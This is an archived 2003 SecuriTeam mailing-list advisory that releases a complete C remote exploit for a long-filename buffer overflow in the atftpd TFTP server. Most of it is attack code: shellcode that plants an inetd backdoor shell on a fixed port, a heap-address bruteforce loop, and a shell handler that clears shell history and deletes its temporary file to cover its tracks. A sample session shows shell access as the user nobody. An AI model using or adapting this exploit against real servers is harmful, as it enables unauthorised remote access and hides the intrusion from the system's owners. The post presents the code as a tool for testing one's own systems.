[EXPL] ATFTPd Exploit Code Release (Long Filename)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/11/03

  • Next message: SecuriTeam: "[EXPL] Exploit Code Release for lsmcode Vulnerability"
    To: list@securiteam.com
    Date: 11 Jun 2003 19:07:33 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Latest attack techniques.

    You're a pen tester, but is google.com still your R&D team?
    Now you can get trustworthy commercial-grade exploits and the latest
    techniques from a world-class research group.

    Learn more at http://www.coresecurity.com/promos/sit_e1,
    or call 617-399-6980

    - - - - - - - - -

      ATFTPd Exploit Code Release (Long Filename)
    ------------------------------------------------------------------------

    SUMMARY

    There is possible remote buffer overflow in
    <http://packages.debian.org/unstable/net/atftpd.html> atftpd (Advanced
    TFTP server). It has to do with length of filename which client sends to
    atftpd server. If you send filename with over 253 bytes, it crashes with a
    segfault. The following exploit code can be used to test your system for
    the mentioned vulnerability.

    DETAILS

    Exploit:
    /**
     ** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
     **
     ** This is a PoC as I didn't investigate the bug very much :
     **
     ** - shellcode is placed in the heap but I didn't check if you can
     ** increase the number of the nops (probably you can)
     **
     ** - I didn't check other distro/os for offset(s)
     **
     ** - atftpd may crash during attack
     **
     ** - There are better shellcodes to use with this (connect back)
     **
     ** - Code sux, better using select() instead of alarm()
     **
     ** However on my machine with atftpd version 0.6 ( from Debian Woody .deb
    )
     **
     ** [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
     ** sh: no job control in this shell
     ** sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
     ** Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
     ** sh-2.05b$
     **
     ** Thu Jun 5 20:37:32 CEST 2003
     **
     ** bug found by Rick <rikul@interbee.com>
     ** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
     **
     ** kisses to tankie
     ** greets: sorbo, arcangelo, jestah
     **
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <signal.h>

    #define HEAP_START 0x080514b4
    #define HEAP_END 0x080594b4

    #define BACKDOOR "rfe" /* port MUST be > 1024 */
    #define NOPNUM 128 /* number of nops */
    #define PORT 69 /* tftpd port */
    #define BUFSIZE 512 /* size of exploit buffer */
    #define TIMEOUT 0x5 /* timeout in sec. */
    #define NOALARM 0x0 /* no timeout */
    #define RRQ 0x1 /* request method */
    #define MODE "octet" /* request mode */
    #define OFFSET 16000 /* distance of nops from heap */

    struct target {
      char * name ;
      unsigned int align ;
      unsigned int len ;
      unsigned int retaddr ;
    } tg[] =
      {
        { "Linux (Debian 3.0)", 0, 264, 0x0805560c },
          { NULL, 0, 0, 0 }
      };

    char shellcode[]= /* taken from lsd-pl.net */
        "\xeb\x22" /* jmp <cmdshellcode+36> */
        "\x59" /* popl %ecx */
        "\x31\xc0" /* xorl %eax,%eax */
        "\x50" /* pushl %eax */
        "\x68""//sh" /* pushl $0x68732f2f */
        "\x68""/bin" /* pushl $0x6e69622f */
        "\x89\xe3" /* movl %esp,%ebx */
        "\x50" /* pushl %eax */
        "\x66\x68""-c" /* pushw $0x632d */
        "\x89\xe7" /* movl %esp,%edi */
        "\x50" /* pushl %eax */
        "\x51" /* pushl %ecx */
        "\x57" /* pushl %edi */
        "\x53" /* pushl %ebx */
        "\x89\xe1" /* movl %esp,%ecx */
        "\x99" /* cdql */
        "\xb0\x0b" /* movb $0x0b,%al */
        "\xcd\x80" /* int $0x80 */
        "\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
        "echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x
    ;/usr/sbin/inetd /tmp/.x;"
    ;

    void timeout( int sig )
    {
      alarm( NOALARM );
      signal( SIGALRM, SIG_DFL );
      fprintf(stderr,"[-] Timeout.\n");
      exit( EXIT_FAILURE );
    }

    int shell( int fd )
    {
            int rd ;
            fd_set rfds;
            static char buff[ 1024 ];
      char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";

            write(fd, INIT_CMD, strlen( INIT_CMD ));

            while(1) {
                    FD_ZERO( &rfds );
                    FD_SET(0, &rfds);
                    FD_SET(fd, &rfds);

                    if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
          perror("[-] Select");
          exit( EXIT_FAILURE );
        }
                    if( FD_ISSET(0, &rfds) ) {
                            if( (rd = read(0, buff, sizeof(buff))) < 1) {
            perror("[-] Read");
            exit( EXIT_FAILURE );
          }
                            if( write(fd,buff,rd) != rd) {
            perror("[-] Write");
            exit( EXIT_FAILURE );
          }
                    }
                    if( FD_ISSET(fd, &rfds) ) {
                            if( (rd = read(fd, buff, sizeof(buff))) < 1) {
            exit( EXIT_SUCCESS );
          }
                            write(1, buff, rd);
                    }
            }
    }

    int try( unsigned short bport, unsigned long ip )
    {
            int sockfd ;
            struct sockaddr_in sheep ;

            if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
                    perror("[-] Socket");
        exit( EXIT_FAILURE );
      }

            sheep.sin_family = AF_INET;
            sheep.sin_addr.s_addr = ip ;
            sheep.sin_port = htons ( bport );

            signal( SIGALRM, timeout );
      alarm( TIMEOUT );

            if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1
    )
      {
        alarm( NOALARM );
        signal(SIGALRM,SIG_DFL);
                    return 0;
      }

            alarm( NOALARM );
      signal(SIGALRM,SIG_DFL);

            return sockfd ;
    }
        
    char * xp_make_str( unsigned int len, unsigned int align, unsigned long
    retaddr )
    {
      int c ;
      char * xp = (char *)calloc( BUFSIZE, sizeof(char) );
      char * code = shellcode ;

      if( !xp ) {
                    fprintf(stderr, "[-] Not enough memory !\n");
                    exit( EXIT_FAILURE );
            }

      /* stupid check */

      if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
        fprintf(stderr, "[-] String too long or align too high.\n");
        exit( EXIT_FAILURE );
      }
      /*
        * our buffer shoud look like this
        *
        * [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][
    SHELLCODE ]
        * |_____> len
      */
      memset ( xp, 0x41, BUFSIZE );

      memcpy( xp + len - strlen( code ) - 16, code, strlen( code ));

      for ( c = align + len - 16 ; c < len ; c += 4 )
        *(long *)( xp + c ) = retaddr ;

      *( xp ) = 0x0 ;
      *( xp + 1 ) = RRQ ;
      *( xp + len )= '\0' ;

      memcpy( xp + len + 1, MODE, strlen( MODE ));

      *( xp + len + 1 + strlen( MODE )) = '\0' ;

      memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));

      return xp ;
    }

    void usage( char * a )
    {
      int o = 0 ;
      fprintf(stderr,
        "__Usage: %s -h host -t target [options]\n\n"
        "-o\toffset\n"
        "-a\talign\n"
        "-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
        "-l\tlength of filename\n"
        "-v\ttreceives packets too (check if daemon's crashed)\n"
        "-b\tenables bruteforce (dangerous !)\n\n", a);
      while( tg[o].name != NULL )
      {
        fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
      }
      fprintf( stderr, "\n" );
      exit( EXIT_FAILURE );
    }

    int main(int argc, char *argv[])
    {
      int sfd, t = 0, bport = 0, opt = 0, offset = 0,
            want_receive = 0, brute = 0, yeah = 0, step = 0;
            struct servent * se ;
      unsigned long n ;
      char * host ;
            struct sockaddr_in server ;
      int len = sizeof(server);

            char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
            char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );

            if ( !wbuf || !rbuf ) {
                    fprintf(stderr, "[-] Not enough memory !\n");
                    exit( EXIT_FAILURE );
            }

      memset(&server, 0, sizeof(server));

            fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");

      if ( argc < 3 )
        usage( argv[0] );

            while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
                    switch(opt)
                    {
          case 's': step = atoi( optarg ); break ;
          case 'h': host = strdup ( optarg ); break;
          case 't': t = atoi(optarg); break;
          case 'b': brute++ ; break ;
          case 'v': want_receive++ ; break ;
          case 'o': offset += atoi( optarg ); break;
          case 'a': tg[t].align = atoi( optarg ); break;
          case 'l': tg[t].len = atoi( optarg ); break;
          default: usage( argv[0] ); break;
        }
      }
            if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
                    perror("[-] Getservbyname");
        exit( EXIT_FAILURE );
      }
      if ((bport = ntohs( se->s_port )) < 1024 ) {
        fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
        exit( EXIT_FAILURE );
      }
            if ( inet_aton( host , &server.sin_addr) == 0 ) {
              struct hostent * he ;
              
              if ( (he = gethostbyname( host )) == NULL ) {
          perror("[-] Gethostbyname");
          exit( EXIT_FAILURE );
        }
              server.sin_addr.s_addr =
                        ((struct in_addr *)(he->h_addr))->s_addr ;
            }
      if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
        perror("[-] Socket");
        exit( EXIT_FAILURE );
      }
      
      fprintf(stdout,"[+] Sending request to host %s\n",
        inet_ntoa(server.sin_addr));

      if ( !step ) step = tg[t].len / 2 ;
            if ( brute ) offset += OFFSET ;

      for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {
      
        fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d
    bport=%d\n",
          tg[t].len, tg[t].align,
          (brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset,
          strlen(shellcode), bport );

        if ( !brute )
          wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset
    );
        else
          wbuf = xp_make_str( tg[t].len, tg[t].align, n );

              server.sin_port = htons( PORT );

        if ( sendto(sfd, wbuf,
                 (size_t) BUFSIZE, 0,
                (struct sockaddr *)&server,
                      (socklen_t)sizeof(struct sockaddr)) < tg[t].len)
        {
          perror("[-] Sendto");
        }
        else if ( want_receive )
        {
                signal( SIGALRM, timeout );
                alarm( TIMEOUT );

          if ( recvfrom(sfd, rbuf,
            (size_t) BUFSIZE, 0,
                        (struct sockaddr *)&server,
                        (socklen_t *)&len) != -1 )
          {
                              alarm( NOALARM );
                                    signal( SIGALRM, SIG_DFL);
            fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
              rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
          }
          else {
            perror("[-] Recvfrom");
          }
        }
        sleep ( 1 ) ;

        if((yeah = try( bport, server.sin_addr.s_addr ))) {
            shell( yeah );
            exit( EXIT_SUCCESS );
        }

        if ( !brute ) break ;

        memset( wbuf, 0, BUFSIZE + 4 );
        memset( rbuf, 0, BUFSIZE + 4 );
      }

      return 1 ;
    }
        /* http://members.xoom.it/gunzip/ */

    ADDITIONAL INFORMATION

    The vulnerability was discovered by <mailto:rikul@interbee.com> Rick, the
    exploit code was created by <mailto:techieone@softhome.net> gunzip.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Exploit Code Release for lsmcode Vulnerability"

    Relevant Pages